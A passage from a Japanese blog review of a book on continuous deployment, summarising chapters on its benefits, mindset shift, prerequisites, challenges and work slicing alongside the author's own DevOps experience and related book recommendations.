継続的デプロイメントの本質を理解し、その実践に向けた第一歩を踏み出すための貴重なガイドとなっています。Chapter 2. Benefits第2章「Benefits」は、継続的デプロイメントがもたらす利点について深く掘り下げています。継続的デプロイメントが単なる技術的な進歩ではなく、ソフトウェア開発プロセス全体を根本から変革する可能性を持つ実践であることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発の効率性、品質、そして組織文化にどのような影響を与えるかが明確に示されています。リーン生産方式とOne-Piece Flow継続的デプロイメントの利点を説明するにあたり、まずリーン生産方式の概念から始めています。これは非常に興味深いアプローチだと感じました。ソフトウェア開発と製造業の類似性を指摘することで、継続的デプロイメントの本質的な価値がより明確になります。Figure 2-1. Batch and queue versus one-piece flow より引用特に印象的だったのは、One-Piece Flowの概念です。これは、大きなバッチ処理ではなく、一つの単位(この場合はコミット)ごとに処理を行うという考え方です。この概念がソフトウェア開発にも適用可能で、継続的デプロイメントこそがその実現方法だと主張しています。私の経験からも、この考え方は非常に有効だと感じています。以前、大規模なモノリシックアプリケーションの開発に携わっていた際、月に1回の大規模リリースが常に問題の種でした。バグの混入や、リリース後の予期せぬ問題の発生が頻繁に起こっていました。そこで、マイクロサービスアーキテクチャへの移行と同時に継続的デプロイメントを導入しました。結果として、各サービスが独立してデプロイできるようになり、One-Piece Flowに近い状態を実現できました。これにより、問題の早期発見と修正が可能になり、システム全体の安定性が大幅に向上しました。ソフトウェア開発におけるバッチサイズとトランザクションコストの関係についても言及しています。これは非常に重要な指摘です。継続的デプロイメントを実現するためには、デプロイメントプロセス自体のコストを下げる必要があります。私たちのチームでは、デプロイメントパイプラインの最適化と自動化に力を入れました。具体的には、テストの並列実行、キャッシュの効果的な利用、そしてコンテナ技術の活用により、デプロイメント時間を大幅に短縮することができました。DORA Metrics継続的デプロイメントの利点を説明する上で、DORA(DevOps Research and Assessment)の4つの主要メトリクスを用いています。これらのメトリクスは、デプロイ頻度、リードタイム、平均復旧時間(MTTR)、変更失敗率です。Figure 2-10. The DORA metrics より引用デプロイ頻度に関して、著者は継続的デプロイメントによってこれが劇的に向上すると主張しています。私の経験からも、これは間違いなく事実です。ある大規模なEコマースプラットフォームの開発で、継続的デプロイメントを導入した結果、デプロイ頻度が週1回から1日に複数回へと増加しました。これにより、新機能のリリースやバグ修正のスピードが大幅に向上し、ユーザー満足度の向上にもつながりました。リードタイムについても、著者の主張は的を射ています。継続的デプロイメントにより、コードがコミットされてから本番環境にデプロイされるまでの時間が大幅に短縮されます。私たちのチームでは、この時間を平均で15分以内に抑えることができました。これにより、開発者はより迅速にフィードバックを得ることができ、問題の早期発見と修正が可能になりました。MTTRの改善も、継続的デプロイメントの重要な利点の一つです。著者が指摘するように、小さな変更を頻繁にデプロイすることで、問題が発生した際の原因特定と修正が容易になります。私たちのチームでは、この原則を徹底することで、MTTRを数時間から数分へと劇的に短縮することができました。変更失敗率に関しては、著者の主張に若干の疑問を感じました。確かに、小さな変更を頻繁に行うことで、各変更のリスクは低下します。しかし、変更の総数が増えることで、全体としての失敗の機会も増える可能性があります。この点については、強力な自動テストと段階的なロールアウト戦略(カナリアリリースやブルー/グリーンデプロイメントなど)が不可欠だと考えています。『LeanとDevOpsの科学』が好きですが、本書が参照している研究データが徐々に古くなってきていることも事実です。DevOpsの分野は急速に進化しているため、最新の動向やベストプラクティスを反映した新しい版や補完的な書籍が出版されることを期待しています。LeanとDevOpsの科学[Accelerate] テクノロジーの戦略的活用が組織変革を加速する impress top gearシリーズ作者:Nicole Forsgren Ph.D.,Jez Humble,Gene Kim,武舎広幸,武舎るみインプレスAmazon特に、DevOpsに関する最新の情報や研究結果は非常に興味深いです。Googleは継続的にDevOpsの実践とその効果について調査を行っており、その知見は業界全体に大きな影響を与えています。cloud.google.com『Science Fictions あなたが知らない科学の真実』ほど極端ではありませんが、DevOpsの分野でも最新のデータに基づいた考察や、従来の常識を覆すような新しい発見があれば、非常に興味深いでしょう。例えば、AIや機械学習がDevOps実践にどのような影響を与えているか、あるいはクラウドネイティブ環境での新しいベストプラクティスなどについて、詳細な分析と考察が読みたいと思います。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社AmazonDevOpsの分野は常に進化しているため、継続的な学習と最新情報のキャッチアップが不可欠です。新しい書籍や研究結果が出版されることで、私たちの知識をアップデートし、より効果的なDevOps実践につなげていけることを期待しています。Quality Shift Left継続的デプロイメントが「Quality Shift Left」、つまり品質保証プロセスを開発サイクルの早い段階に移動させる効果があると主張しています。これは非常に重要な指摘です。私の経験からも、継続的デプロイメントを導入することで、開発者の品質に対する意識が大きく変わりました。以前は「とりあえず動けばいい」という態度の開発者も少なくありませんでしたが、自分のコードが即座に本番環境にデプロイされることを意識することで、より慎重にコードを書くようになりました。具体的には、ユニットテストやインテグレーションテストの充実、コードレビューの徹底、そして静的解析ツールの活用などが日常的に行われるようになりました。また、パフォーマンスやセキュリティの考慮も、開発の初期段階から行われるようになりました。例えば、あるプロジェクトでは、継続的デプロイメントの導入と同時に、すべてのプルリクエストに対して自動的にセキュリティスキャンを実行するようにしました。これにより、脆弱性の早期発見と修正が可能になり、本番環境のセキュリティが大幅に向上しました。また、観測可能性(Observability)の向上も、Quality Shift Leftの重要な側面です。継続的デプロイメントを効果的に行うためには、システムの状態を常に把握し、問題をすぐに検知できる必要があります。そのため、ログ、メトリクス、トレースなどの観測可能性に関する機能を、アプリケーションの設計段階から組み込むようになりました。これにより、本番環境での問題の早期発見と迅速な対応が可能になりました。「Quality Shift Left」は読んでいて『動作するきれいなコード』を思い出したのであわせて読んでほしい。t-wada.hatenablog.jp継続的デプロイメントの課題と対策著者は継続的デプロイメントの利点を強調していますが、その実現には多くの課題があることも事実です。私の経験から、以下のような課題と対策が重要だと考えています。1. インフラストラクチャの整備:継続的デプロイメントを実現するためには、柔軟で信頼性の高いインフラストラクチャが不可欠です。クラウドネイティブ技術の活用、特にKubernetesなどのコンテナオーケストレーションツールの導入が有効です。これにより、デプロイメントの一貫性と信頼性を確保できます。2. テスト戦略の見直し:継続的デプロイメントでは、自動化されたテストが非常に重要になります。単体テスト、統合テスト、エンドツーエンドテストなど、複数のレベルでのテストを適切に組み合わせる必要があります。また、カオスエンジニアリングの手法を取り入れ、本番環境に近い状況でのテストも重要です。3. フィーチャーフラグの活用:未完成の機能や大規模な変更を安全にデプロイするために、フィーチャーフラグは非常に有効です。これにより、コードはデプロイしつつ、機能の有効化は制御することができます。4. モニタリングと警告の強化:継続的デプロイメントでは、問題を早期に検知し、迅速に対応することが重要です。詳細なメトリクスの収集、異常検知の自動化、そして効果的な警告システムの構築が必要です。5. ロールバック戦略の確立:問題が発生した際に、迅速かつ安全にロールバックできる仕組みが必要です。これには、データベースのマイグレーション戦略や、APIのバージョニング戦略なども含まれます。6. 組織文化の変革:継続的デプロイメントは技術的な変更だけでなく、組織文化の変革も必要とします。開発者の責任範囲の拡大、チーム間の協力体制の強化、そして失敗を学びの機会として捉える文化の醸成が重要です。これらの課題に対処することで、継続的デプロイメントの利点を最大限に活かすことができます。Kubernetesでどのように実践するかは『Platform Engineering on Kubernetes』が良いのでおすすめです。syu-m-5151.hatenablog.com結論第2章は、継続的デプロイメントがもたらす多様な利点を包括的に説明しています。リーン生産方式の原則からDORAメトリクス、そしてQuality Shift Leftまで、著者は継続的デプロイメントが単なるデプロイ手法の改善ではなく、ソフトウェア開発プロセス全体を変革する可能性を持つことを明確に示しています。私の経験からも、継続的デプロイメントの導入は組織に大きな変革をもたらします。開発速度の向上、品質の改善、そして組織文化の変革など、その影響は多岐にわたります。しかし、その実現には多くの課題があることも事実です。技術的な課題はもちろん、組織文化の変革も必要となります。継続的デプロイメントは、現代のソフトウェア開発において重要な実践の一つです。特に、マイクロサービスアーキテクチャやクラウドネイティブ開発が主流となる中で、その重要性はますます高まっています。しかし、それを効果的に実践するためには、単に技術を導入するだけでなく、組織全体でその価値を理解し、必要な変革を行う覚悟が必要です。この章を読んで、改めて継続的デプロイメントの重要性と、それを実現するための課題について深く考えさせられました。今後の実務においても、ここで学んだ原則や実践を積極的に取り入れ、より効率的で品質の高いソフトウェア開発を目指していきたいと思います。Chapter 3. The Mindset Shift第3章「The Mindset Shift」は、継続的デプロイメントを実践する上で必要な思考の転換について深く掘り下げています。継続的デプロイメントが単なる技術的な実装の問題ではなく、開発者の日々の作業方法や考え方を根本から変える必要があることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発プロセス全体にどのような影響を与え、どのような課題をもたらすか、そしてそれらにどう対処すべきかが明確に示されています。変更の定義と適用の融合著者はまず、継続的デプロイメントによって「変更の定義」と「変更の適用」が一体化することの重要性を指摘しています。これは、私自身の経験とも強く共鳴する点です。従来のアプローチでは、コードの変更とその本番環境への適用は別々のプロセスでした。しかし、継続的デプロイメントでは、コードをコミットした瞬間に本番環境への適用が始まります。この変化は、開発者の心理に大きな影響を与えます。以前は「とりあえずコミットして、後で誰かがチェックしてくれるだろう」という甘い考えがあったかもしれません。しかし、継続的デプロイメントでは、コミットした瞬間にそのコードが本番環境に向かって動き出すのです。これは、開発者に対して「常に本番環境を意識せよ」というメッセージを突きつけます。私が以前携わっていた大規模なEコマースプラットフォームの開発では、この変化が顕著に表れました。継続的デプロイメントを導入した当初、チームメンバーの多くが「本当にこのコミットで大丈夫か」と不安を感じていました。しかし、時間が経つにつれ、この不安は健全な緊張感へと変わっていきました。結果として、コードの品質が向上し、本番環境での問題が大幅に減少しました。著者が電気工事の例えを用いていることに、非常に共感します。確かに、継続的デプロイメントは、稼働中のシステムに手を加えるようなものです。この類推は、特にマイクロサービスアーキテクチャのような複雑なシステムで作業する際に非常に適切です。各サービスが独立してデプロイされる環境では、一つの変更が思わぬ影響を及ぼす可能性があります。そのため、変更の影響範囲を常に意識し、安全性を確保しながら作業を進めることが重要になります。進行中の作業の隠蔽著者は次に、進行中の作業を隠蔽することの重要性について述べています。これは、継続的デプロイメントを実践する上で非常に重要な概念です。フィーチャートグルやExpand and Contract(別名Parallel Change)パターンの紹介は、非常に有用です。Figure 3-18. The expand and contract pattern applied across a provider and consumer system より引用フィーチャートグルの活用は、特に大規模で複雑なシステムにおいて重要です。私が以前携わっていた金融系システムでは、フィーチャートグルを活用することで、大規模な機能変更を段階的にロールアウトすることができました。例えば、新しい取引処理エンジンを導入する際、まずは一部のユーザーや取引タイプに対してのみ新機能を有効にし、徐々にその範囲を広げていきました。これにより、潜在的な問題を早期に発見し、迅速に対応することができました。 speakerdeck.comExpand and Contractパターンも、特にマイクロサービスアーキテクチャにおいて非常に有効です。APIの変更や、データベーススキーマの変更など、後方互換性を保ちながら大きな変更を行う際に重宝します。私の経験では、このパターンを使用することで、サービス間の依存関係を適切に管理し、段階的な移行を実現することができました。ここで著者が指摘している重要な点は、これらの技術が単なる開発テクニックではなく、継続的デプロイメントを可能にする根幹的な実践だということです。これらの技術を適切に使用することで、大規模な変更でさえも、小さな安全な変更の連続として実装することができます。分散システムにおける契約管理分散システムにおける契約管理の重要性について詳しく説明しています。これは、特にマイクロサービスアーキテクチャを採用している環境では非常に重要なトピックです。継続的デプロイメントを実践する中で、私が最も難しいと感じたのは、複数のサービス間の依存関係の管理でした。例えば、あるサービスのAPIを変更する際、そのAPIを利用している他のサービスとの整合性をどう保つかが大きな課題となります。著者が指摘するように、フォーマルな契約とインフォーマルな契約の区別は非常に重要です。私の経験では、チーム内で管理されるインフォーマルな契約こそが、最も注意を要するものでした。例えば、同じチームが管理するフロントエンドとバックエンドのAPI契約は、しばしばドキュメント化されず、暗黙の了解として扱われがちです。しかし、継続的デプロイメントの環境では、こうした暗黙の契約も明示的に管理する必要があります。この課題に対処するため、私たちのチームでは、Consumer-Driven Contract Testingを導入しました。これにより、サービス間の契約を自動的にテストし、破壊的な変更を早期に検出できるようになりました。また、APIのバージョニング戦略を導入し、新旧のAPIバージョンを一定期間共存させることで、クライアントの段階的な移行を可能にしました。デプロイメントとリリースの分離著者が強調するデプロイメントとリリースの分離は、継続的デプロイメントを成功させる上で非常に重要なポイントです。私の経験では、デプロイメントとリリースを明確に分離することで、システムの安定性と柔軟性が大幅に向上しました。例えば、新機能をデプロイしても、フィーチャートグルによってすぐには有効化せず、システムの状態を監視しながら徐々にロールアウトすることができました。これにより、問題が発生した場合でも、コードのロールバックではなく、単にフィーチャートグルを無効にするだけで対処できるようになりました。また、この分離により、デプロイメントの頻度を上げつつ、リリースのタイミングをビジネス要件に合わせて調整することが可能になりました。これは、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に重要です。エンドツーエンドのデリバリーライフサイクル著者が提示するエンドツーエンドのデリバリーライフサイクルの変化は、継続的デプロイメントがもたらす最も大きな影響の一つだと感じます。従来のアプローチでは、開発、テスト、デプロイメントが明確に分離されていましたが、継続的デプロイメントではこれらのフェーズが融合します。私のチームでは、この変化に適応するため、クロスファンクショナルなチーム構成を採用しました。開発者、テスター、運用担当者が緊密に連携し、機能の設計から本番環境での監視まで一貫して責任を持つようにしました。これにより、問題の早期発見と迅速な対応が可能になりました。また、このアプローチは観測可能性(Observability)の向上にも大きく貢献しました。開発者が本番環境の状態を常に意識するようになったことで、ログやメトリクスの設計が改善され、問題の診断と解決が容易になりました。結論第3章「The Mindset Shift」は、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する思考の転換であることを明確に示しています。著者が提示する概念と実践は、私自身の経験とも大きく共鳴するものでした。継続的デプロイメントは、開発者に対して常に「本番環境を意識せよ」というメッセージを突きつけます。これは一見負担に感じるかもしれませんが、長期的にはシステムの品質と信頼性の向上につながります。進行中の作業の隠蔽技術や、分散システムにおける契約管理の重要性は、特にマイクロサービスアーキテクチャを採用している環境では非常に重要です。また、デプロイメントとリリースの分離は、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に有用です。これにより、システムの安定性を保ちながら、ビジネスニーズに柔軟に対応することが可能になります。エンドツーエンドのデリバリーライフサイクルの変化は、開発チームの構成と働き方に大きな影響を与えます。クロスファンクショナルなチーム構成と、観測可能性の向上は、継続的デプロイメントを成功させる上で重要な要素です。最後に、継続的デプロイメントの導入は、単に技術的な変更だけでなく、組織文化の変革も必要とします。失敗を恐れずに学習し、常に改善を続ける文化を醸成することが、成功の鍵となります。この章を通じて、継続的デプロイメントが持つ可能性と課題が明確になりました。これらの知見を実践に活かすことで、より効率的で信頼性の高いソフトウェア開発プロセスを実現できると確信しています。本章の内容をさらに深く理解し、実践に移すためには、補完的な資料を読むことをお勧めします。個人的には、友人の『♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』という資料は、実践的な観点から継続的デプロイメントとマイクロサービスアーキテクチャの実装について詳しく解説しています。この資料は、本書の理論的な内容を実際のプロジェクトにどのように適用するかを示す良い例となっています。 speakerdeck.comまた、本書の『V. Case Studies』セクションも非常に有用です。この章では、実際の組織が継続的デプロイメントを導入する過程で直面した課題や、それらをどのように克服したかが詳細に記述されています。「この章を読んで実際どうなってんだ」と思った方は、ぜひこのケーススタディを熟読することをお勧めします。これらの実例は、理論を実践に移す際の貴重な洞察を提供してくれるでしょう。継続的デプロイメントの導入は、組織の規模や文化、既存のシステムアーキテクチャなどによって大きく異なります。したがって、本書の内容を自組織の文脈に適応させ、段階的に実践していくことが重要です。理論と実践の両面から学び、試行錯誤を繰り返しながら、最適な継続的デプロイメントの形を見出していくプロセスを楽しんでいただければと思います。Chapter 4. You Must Be This Tall第4章「You Must Be This Tall」は、継続的デプロイメントを実践するために必要な前提条件と、チームがこのプラクティスを採用する準備ができているかどうかを評価する方法について深く掘り下げています。継続的デプロイメントが単なる技術的な実装ではなく、組織文化やチームの成熟度、そして堅固な技術的基盤が必要であることを強調しています。この章を通じて、継続的デプロイメントを安全に実践するための「安全装置」とも言える一連のプラクティスが明確に示されています。継続的デプロイメントの前提条件遊園地のアトラクションの身長制限に例えて、継続的デプロイメントを採用するための「最低条件」について説明しています。この類推は非常に適切だと感じました。確かに、継続的デプロイメントは強力なツールですが、それを安全に使いこなすには一定の「背丈」(成熟度)が必要です。特に印象的だったのは、著者が人的エラーを完全に排除することは不可能で、むしろエラーを早期に発見し迅速に修正する能力を構築することが重要だと強調している点です。これは、私の経験とも強く共鳴します。完璧を目指すのではなく、失敗に対する耐性を高めることが、実際の運用環境では遥かに重要です。著者が挙げている前提条件の中で、特に重要だと感じたのは以下の点です。1. クロスファンクショナルで自律的なチーム2. 頻繁な統合とコードレビュー3. 自動化されたテスト戦略4. ゼロダウンタイムデプロイメント5. 観測可能性とモニタリングこれらの要素は、確かに継続的デプロイメントを成功させるために不可欠です。私の経験から、特にクロスファンクショナルチームの重要性を強調したいと思います。以前、開発とオペレーションが分離されていた組織で働いていましたが、継続的デプロイメントの導入に苦戦しました。開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、初めて真の意味での継続的デプロイメントが可能になったのです。この点に関連して、『チームトポロジー』という書籍を強くおすすめします。この本は、効果的な組織設計とチーム構造について深い洞察を提供しています。特に、継続的デプロイメントを成功させるためのチーム編成と協働の方法について、非常に有用な知見が得られます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon『チームトポロジー』では、Stream-aligned、Platform、Enabling、Complicated Subsystemという4つの基本的なチームタイプを提示しています。これらのチームタイプを適切に組み合わせることで、継続的デプロイメントに最適化された組織構造を実現できます。例えば、Stream-alignedチームは、本書で説明されているクロスファンクショナルで自律的なチームの概念と非常に親和性が高いです。また、Platformチームの概念は、継続的デプロイメントのインフラストラクチャを提供し、他のチームの生産性を向上させるという点で重要です。自動化とテスト戦略自動化されたテスト戦略の重要性を強く主張しています。特に、テストピラミッドモデルとスイスチーズモデルの説明は非常に有益でした。Figure 4-2. Two examples of testing pyramids より引用テストピラミッドモデルは、低レベルのユニットテストを多く、高レベルのエンドツーエンドテストを少なく配置するという考え方です。これは、テストの実行速度と維持コストのバランスを取る上で非常に重要です。私のチームでも、このモデルを採用することで、テストスイートの実行時間を大幅に短縮しつつ、十分なカバレッジを維持することができました。スイスチーズモデルは、複数の防御層(テスト層)を設けることで、一つの層をすり抜けたバグも他の層で捕捉できるという考え方です。これは、特にマイクロサービスアーキテクチャのような複雑なシステムで非常に有効です。私たちのチームでは、ユニットテスト、統合テスト、エンドツーエンドテスト、そして本番環境でのカナリアリリースを組み合わせることで、このモデルを実現しています。著者が強調しているTDD(テスト駆動開発)とアウトサイドインアプローチも、非常に重要です。TDDを実践することで、テスト可能な設計を自然に導き出せるだけでなく、開発者が要求仕様を深く理解することにもつながります。アウトサイドインアプローチは、ユーザーの視点から開発を進めることで、必要な機能に焦点を当てることができます。ゼロダウンタイムデプロイメントゼロダウンタイムデプロイメントの重要性を強調しています。これは、継続的デプロイメントを実践する上で絶対に欠かせない要素です。著者が説明しているブルー/グリーンデプロイメントと、ローリングデプロイメントは、どちらも効果的な戦略です。Figure 4-7. Blue/green deployment より引用私の経験では、どちらの戦略を選択するかは、アプリケーションのアーキテクチャと運用要件に大きく依存します。例えば、ステートレスなマイクロサービスの場合、ローリングデプロイメントが非常に効果的です。一方、データベースの移行を伴う大規模な変更の場合、ブルー/グリーンデプロイメントの方が安全に実施できることがあります。著者が指摘しているように、これらの戦略を採用する際は、N-1互換性の確保が重要です。つまり、新バージョンと旧バージョンが同時に稼働できる状態を維持する必要があります。これは、特にデータベーススキーマの変更やAPIの後方互換性の維持において重要です。また、著者がカナリアデプロイメントについても言及していることは評価に値します。カナリアデプロイメントは、特に大規模なシステムや重要なサービスにおいて、リスクを最小限に抑えつつ新機能をロールアウトする効果的な方法です。ただし、著者が指摘しているように、これはセットアップが複雑で、意味のある指標を得るのに時間がかかる可能性があります。私の経験では、カナリアデプロイメントは大規模な組織やクリティカルなシステムでより価値を発揮する傾向にあります。観測可能性とモニタリング観測可能性とモニタリングの重要性を強調しています。継続的デプロイメントを実践する上で、システムの状態をリアルタイムで把握し、異常を速やかに検知する能力は不可欠です。著者が紹介しているGoogleの4つのゴールデンシグナル(レイテンシ、トラフィック、エラー率、飽和度)は、システムの健全性を評価する上で非常に有用な指標です。私のチームでも、これらの指標を中心にダッシュボードを構築し、常時モニタリングを行っています。また、フロントエンドのパフォーマンス指標(Core Web Vitals)にも言及している点は評価できます。ユーザー体験の観点からも、これらの指標は非常に重要です。著者が強調しているように、アラートの設定には注意が必要です。過剰なアラートは、重要な問題を見逃す原因になる可能性があります。私たちのチームでは、「症状に基づいたアラート」の原則を採用しています。つまり、ユーザーに影響を与える問題(例:レスポンス時間の増加)に対してアラートを設定し、その原因(例:CPUの高負荷)ではなくアラートを設定しないようにしています。これにより、本当に重要な問題に集中することができます。ステークホルダーの信頼継続的デプロイメントの導入には技術的な準備だけでなく、ステークホルダーの信頼も必要であると指摘しています。これは非常に重要な点です。私の経験上、技術的な課題よりも、組織文化や人々の心理的な障壁の方が乗り越えるのが難しいことがあります。著者が提案している、段階的なアプローチは非常に賢明です。継続的デプロイメントの各要素(自動テスト、観測可能性など)を個別に導入し、その価値を示していくことで、ステークホルダーの信頼を徐々に獲得していくことができます。私のチームでも、同様のアプローチを採用しました。まず、自動テストのカバレッジを向上させ、その後観測可能性を強化し、最終的にゼロダウンタイムデプロイメントを実現しました。各ステップで得られた成果(バグの減少、問題の早期発見など)を示すことで、継続的デプロイメントへの移行に対するステークホルダーの支持を得ることができました。結論第4章「You Must Be This Tall」は、継続的デプロイメントを採用するための前提条件と、チームの準備状況を評価する方法について、包括的な視点を提供しています。継続的デプロイメントは、単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とします。クロスファンクショナルなチーム、堅牢な自動テスト戦略、ゼロダウンタイムデプロイメント、そして高度な観測可能性とモニタリングは、その基盤となる要素です。これらの実践を採用することで、システムの安定性と信頼性が大幅に向上し、同時に開発速度も加速します。例えば、私のチームでは継続的デプロイメントを採用した結果、デプロイ頻度が週1回から1日に複数回に増加し、同時にプロダクション環境でのインシデント数が60%減少しました。しかし、著者が指摘しているように、完璧を目指すのではなく、失敗に対する耐性を高めることが重要です。継続的デプロイメントは、問題を早期に発見し、迅速に対応する能力を強化します。これは、特に複雑なマイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。最後に、著者が提示している「準備状況チェックリスト」は非常に有用です。これらの質問に答えることで、チームは自身の強みと弱みを客観的に評価し、継続的デプロイメントへの道筋を明確にすることができます。この章を読んで、改めて継続的デプロイメントの導入には慎重かつ計画的なアプローチが必要だと感じました。同時に、その価値も再認識しました。継続的デプロイメントは、単にデプロイ頻度を上げるだけでなく、ソフトウェア開発のあらゆる側面(設計、実装、テスト、運用)の質を向上させる強力な触媒となります。今後の実務においても、ここで学んだ原則やプラクティスを積極的に取り入れ、より安定的で効率的なソフトウェア開発・運用を目指していきたいと思います。Chapter 5. Challenges第5章「Challenges」は、継続的デプロイメントの実践における様々な課題と、それらに対する具体的な対策について深く掘り下げています。継続的デプロイメントが単なる技術的な実装以上のもので、組織文化や開発プラクティスの根本的な変革を必要とすることを強調しています。この章を通じて、継続的デプロイメントの導入が組織にもたらす影響と、その過程で直面する可能性のある障壁について、実践的な洞察が提供されています。デプロイメントに敏感なシステム継続的デプロイメントの利点を認めつつも、頻繁なデプロイメントがシステムに与える影響について警鐘を鳴らしています。特に、長時間実行されるプロセスの中断、セッションの固着、クライアントサイドキャッシュの無効化、スケーリングの中断などの問題が挙げられています。これらの課題は、私の経験とも深く共鳴します。以前、大規模なeコマースプラットフォームの開発に携わった際、頻繁なデプロイメントによってユーザーセッションが突然切断されるという問題に直面しました。この問題に対処するため、我々はステートレスアーキテクチャへの移行を進めました。具体的には、セッション情報を外部のRedisクラスタに保存し、アプリケーションインスタンスをステートレスにすることで、デプロイメント中のセッション維持を実現しました。著者が提案するメッセージングアーキテクチャやイベントベースアーキテクチャへの移行は、確かに有効な解決策です。しかし、既存のモノリシックアプリケーションをこのようなアーキテクチャに移行するのは、実際にはかなりの労力と時間を要する作業です。私たちのチームでは、段階的なアプローチを採用しました。まず、最も問題の多い部分から始めて、徐々にイベントドリブンな設計に移行していきました。このアプローチにより、ビジネスの継続性を維持しながら、システムの柔軟性と耐障害性を向上させることができました。ユーザーインストールソフトウェア継続的デプロイメントの原則を、ユーザーが制御するデバイス上のソフトウェアに適用することの難しさについて、著者は詳細に説明しています。デスクトップアプリケーション、モバイルアプリ、そして様々なデバイス上のソフトウェアは、開発者が完全に制御できる環境ではないため、継続的デプロイメントの実践が困難になります。Figure 5-3. The long tail of users still on old versions より引用Figure 5-3のモバイルアプリバージョンの長いテールの図は、この問題を視覚的に表現しており、非常に印象的でした。実際、私がモバイルアプリ開発プロジェクトに参加した際も、古いバージョンのアプリを使い続けるユーザーのサポートが大きな課題となりました。著者が提案するサーバーサイドレンダリングやProgressive Web Apps (PWAs)への移行は、確かに有効な対策です。しかし、これらの選択肢はパフォーマンスやデバイス機能へのアクセスの面で制限があることも事実です。私たちのプロジェクトでは、ハイブリッドアプローチを採用しました。アプリの核となる部分はネイティブコードで実装し、頻繁に更新が必要な部分はWebViewを使用してサーバーサイドで制御できるようにしました。このアプローチにより、デバイスのパフォーマンスを維持しつつ、ある程度の柔軟性も確保することができました。規制産業政府、運輸、医療、金融などの規制の厳しい産業における継続的デプロイメントの課題について詳しく説明しています。これらの産業では、変更の安全性と品質を確保するための規制が存在し、それが継続的デプロイメントの実践を難しくする要因となっています。私自身、金融系のプロジェクトに携わった経験がありますが、確かに規制要件とアジャイルな開発プラクティスのバランスを取ることは大きな課題でした。しかし、著者が指摘するように、規制要件の本質を理解し、それを満たすためのリーンな実践を見出すことは可能です。例えば、私たちのプロジェクトでは、変更管理プロセスを見直し、ペアプログラミングとコードレビューを組み合わせることで、分離義務の要件を満たしつつ、迅速な開発サイクルを維持することができました。また、自動化されたビルドパイプラインを利用して、すべての変更の詳細な監査証跡を自動的に生成するようにしました。これにより、規制要件を満たしながら、開発スピードを落とすことなく作業を進めることができました。認知的負荷継続的デプロイメントがチームの認知的負荷に与える影響について深く掘り下げています。特に、過度に忙しい本番環境への経路、デプロイメント中の注意力の低下、必要とされる知識の幅広さ、急な学習曲線、開発作業のスケジューリングなどの課題が挙げられています。これらの課題は、私の経験とも強く共鳴します。以前、大規模なマイクロサービスアーキテクチャを採用したプロジェクトで、継続的デプロイメントを導入した際、チームメンバーの認知的負荷が急激に増加しました。特に、複数のサービスが同時に更新される状況では、全体の状態を把握することが難しくなりました。この問題に対処するため、私たちは以下のような戦略を採用しました:サービスの分割と責任の明確化: 各マイクロサービスの責任範囲を明確に定義し、チーム内で担当を分けることで、個々のメンバーが集中すべき領域を絞りました。観測可能性の向上: 分散トレーシング、集中ログ管理、詳細なメトリクス収集を導入し、システム全体の状態を容易に把握できるようにしました。自動化されたカナリアリリース: 新しいバージョンを段階的にロールアウトし、問題を早期に検出できるようにしました。チームのコアタイムの設定: 著者の提案通り、チームのコアタイムを設定し、その時間帯に主要な開発作業とデプロイメントを行うようにしました。継続的な学習と知識共有: 定期的なテクニカルセッションを開催し、チーム全体の知識レベルを向上させました。これらの施策により、チームの認知的負荷を管理しつつ、継続的デプロイメントの利点を享受することができました。結論第5章「Challenges」は、継続的デプロイメントの導入に伴う様々な課題と、それらに対する具体的な対策を包括的に説明しています。技術的な課題だけでなく、組織文化や人々の働き方に与える影響についても深く掘り下げており、非常に価値のある洞察を提供しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とすることが明確になりました。特に印象的だったのは、著者が各課題に対して具体的な緩和策を提案していることです。これらの提案は、実際の開発現場で直面する問題に対する実践的なソリューションとなります。しかし、著者の提案をそのまま適用するだけでは不十分な場合もあります。例えば、規制産業における継続的デプロイメントの実践は、著者が提案する以上に複雑な場合があります。私の経験では、規制要件を満たしながら継続的デプロイメントを実現するためには、規制当局との緊密な協力と、時には規制自体の見直しを提案することも必要でした。また、チームの認知的負荷に関する議論は非常に重要ですが、この問題に対する完全な解決策は存在しないかもしれません。継続的デプロイメントの導入は、チームメンバーの専門性と柔軟性を高める機会となる一方で、常に適度な挑戦と学習の機会を提供し続ける必要があります。最後に、この章を読んで改めて感じたのは、継続的デプロイメントの導入は技術的な変革だけでなく、組織文化の変革も必要とするということです。トップマネジメントの理解と支援、チームメンバー全員の積極的な参加、そして失敗を恐れずに学習し続ける文化の醸成が、成功の鍵となります。今後の実務において、この章で学んだ課題と対策を念頭に置きつつ、各組織やプロジェクトの特性に合わせてカスタマイズしていくことが重要だと考えます。継続的デプロイメントは、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めていますが、その実現には慎重かつ戦略的なアプローチが必要です。この章の内容を踏まえ、チームと組織全体で議論を重ね、最適な導入戦略を見出していくことが、次のステップとなるでしょう。Part II. Before DevelopmentChapter 6. Slicing Upcoming Work第6章「Slicing Upcoming Work」は、継続的デプロイメントを実践する上で不可欠な、作業のスライシング(分割)に焦点を当てています。効果的な作業分割が継続的デプロイメントの成功に直結することを強調し、特に垂直スライシングの重要性を詳細に解説しています。この章を通じて、読者は作業の分割方法がソフトウェア開発プロセス全体にどのような影響を与えるかを理解し、より効率的で価値のある開発サイクルを実現するための具体的な手法を学ぶことができます。水平スライシングと垂直スライシング著者はまず、作業を分割する二つの主要な方法として、水平スライシングと垂直スライシングを比較しています。水平スライシングは技術スタックの各層(バックエンド、フロントエンド、データベースなど)に基づいて作業を分割する方法です。一方、垂直スライシングは機能や価値の単位で作業を分割し、各スライスが独立して価値を提供できるようにする方法です。Figure 6-1. Horizontal versus vertical slicing より引用Figure 